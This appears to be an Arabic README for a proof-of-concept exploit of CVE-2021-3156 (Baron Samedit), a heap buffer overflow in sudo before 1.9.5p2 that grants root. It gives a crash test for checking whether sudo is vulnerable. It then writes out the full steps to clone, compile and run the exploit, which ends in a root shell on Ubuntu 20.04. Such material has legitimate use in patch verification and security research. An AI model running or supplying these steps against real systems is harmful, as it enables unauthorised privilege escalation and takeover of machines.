
إثبات المفهوم لاستغلال CVE-2021-3156، وهو تجاوز سعة مخزن مؤقت في الكومة في sudo قبل الإصدار 1.9.5p2، مما يتيح رفع الامتيازات إلى الجذر عبر sudoedit -s.
Sudo قبل الإصدار 1.9.5p2 يحتوي على خطأ خارج الحدود بواحد (off-by-one) يمكن أن يؤدي إلى تجاوز سعة المخزن المؤقت في الكومة (heap-based buffer overflow)، مما يسمح بتصعيد الامتيازات إلى الجذر عبر sudoedit -s ووسيطة سطر أوامر تنتهي بحرف خط مائل عكسي (backslash) واحد.
الشكر والفضل: إعلان من Baron Samedit of Qualys
أصدر مشروع sudo أمرًا يسمح لك باختبار ما إذا كان إصدار sudo لديك ضعيفًا:
sudoedit -s '\' `perl -e 'print "A" x 65536'`
إذا تلقيت رسالة استخدام أو خطأ، فإن sudo ليس ضعيفًا. إذا كانت النتيجة خطأ تجزئة (Segmentation fault)، فإن sudo ضعيف.
إثبات المفهوم (PoC) لجذر شل لـ CVE-2021-3156 (بدون قوة عمياء) تم اختباره على Ubuntu 20.04 (sudo 1.8.31)
$ git clone https://github.com/CyberCommands/CVE-2021-3156.git
$ cd CVE-2021-3156
$ make
mkdir libnss_x
cc -O3 -shared -nostdlib -o libnss_x/x.so.2 shellcode.c
cc -O3 -o exploit exploit.c
$ ./exploit
# whoami
root